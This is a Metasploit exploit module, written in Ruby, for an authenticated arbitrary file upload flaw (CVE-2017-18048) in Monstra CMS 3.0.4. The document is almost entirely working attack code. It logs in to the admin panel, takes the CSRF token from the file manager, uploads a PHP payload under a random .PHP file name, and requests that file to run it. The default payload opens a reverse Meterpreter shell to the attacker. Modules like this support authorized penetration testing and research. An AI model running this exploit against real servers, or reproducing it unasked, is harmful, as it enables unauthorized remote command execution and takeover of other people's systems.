Monstra CMS Authenticated Arbitrary File Upload

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Monstra CMS Authenticated Arbitrary File Upload',  
'Description' => %q{  
MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to remote command execution on the remote server.  
An attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.  
This module was tested against MonstraCMS 3.0.4.  
},  
  
'Author' =>  
[  
'Ishaq Mohammed <[email protected]>', # Discoverer & Proof of Concept  
'Touhid M.Shaikh <[email protected]>', # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE','2017-18048'],  
['EDB','43348'],  
['URL','https://blogs.securiteam.com/index.php/archives/3559'],  
['URL','https://securityprince.blogspot.com/2017/12/monstra-cms-304-arbitrary-file-upload.html?m=1'],  
['URL','https://www.youtube.com/watch?v=-ziZ6DELbzw']  
],  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'php/meterpreter/reverse_tcp',  
'Encoder' => 'php/base64'  
},  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['Monstra CMS 3.0.4', { }],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Dec 18 2017'))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "Base Monstra CMS directory path", '/']),  
OptString.new('USERNAME', [ true, "Username to authenticate with", '']),  
OptString.new('PASSWORD', [ true, "Password to authenticate with", ''])  
])  
end  
  
def check  
begin  
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,'admin', 'index.php') })  
rescue  
vprint_error("Unable to access the index.php file")  
return CheckCode::Unknown  
end  
  
if res and res.code != 200  
vprint_error("Error accessing the index.php file")  
return CheckCode::Unknown  
end  
  
if res.body =~ /<\/a>.*?Version (\d+\.\d+\.\d+)/i  
version = Gem::Version.new($1)  
vulnVersion = Gem::Version.new('3.0.4')  
vprint_status("Monstra CMS: #{version}")  
  
if version > vulnVersion  
return CheckCode::Safe  
elsif version == vulnVersion  
return CheckCode::Appears  
elsif version < vulnVersion  
return CheckCode::Detected  
end  
end  
end  
  
def uri  
target_uri.path  
end  
  
def login  
res = nil  
vprint_status('Trying to Login ......')  
# Send Creds with cookies.  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'admin', 'index.php'),  
'vars_post' => {  
'login' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'login_submit' => 'Log+In'  
}  
})  
cookies = res.get_cookies  
  
fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?  
  
# Try to access index page with authenticated cookie.  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'admin' '/index.php'),  
'cookie' => cookies  
})  
fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?  
  
# if we redirect to core_welcome then we assume we have authenticated cookie.  
if res.code == 302 && res.headers['Location'].include?('index.php?id=dashboard')  
print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]")  
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])  
return cookies  
else  
fail_with(Failure::Unreachable, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")  
end  
end  
  
def exploit  
#Login Function Execute and Return Cookies  
cookies = login  
  
#Random payload name.  
pay_name = "#{rand_text_alpha(5..10)}.PHP"  
  
  
# Payload Gen.  
evilbyte = "<?php #{payload.encoded}; ?>"  
  
# Request for CSRF token for file upload.  
res = send_request_cgi({  
'uri' => normalize_uri(uri, 'admin', '/index.php'),  
'vars_get' => {'id' => 'filesmanager'},  
'method' => 'GET',  
'cookie' => cookies  
})  
  
# Grabbing CSRF token from body  
/<input type="hidden" id="csrf" name="csrf" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body  
fail_with(Failure::Unreachable, "#{peer} - Could not determine CSRF token") if csrf.nil?  
vprint_good("CSRF-Token for File Upload : #{csrf}")  
  
# setup POST request.  
post_data = Rex::MIME::Message.new  
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="csrf"') # CSRF token #form-data; name="file"; filename="agent22.PHP"  
post_data.add_part("#{evilbyte}", content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file\"; filename=\"#{pay_name}\"") # payload  
post_data.add_part("Upload", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="upload_file"') # extra  
data = post_data.to_s  
  
vprint_status("Trying to upload file #{pay_name} with malicious content....")  
# Lets Send Upload request.  
res = send_request_cgi({  
'uri' => normalize_uri(uri, 'admin', '/index.php'),  
'vars_get' => {'id' => 'filesmanager'},  
'method' => 'POST',  
'cookie' => cookies,  
'Connection' => 'close',  
'data' => data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
})  
  
# Cleanup delete payload after get meterpreter.  
register_files_for_cleanup(pay_name)  
  
  
# Execute our payload simply call to payload.  
print_status("Executing Payload " )  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'public', 'uploads', pay_name)  
})  
  
end  
end  
`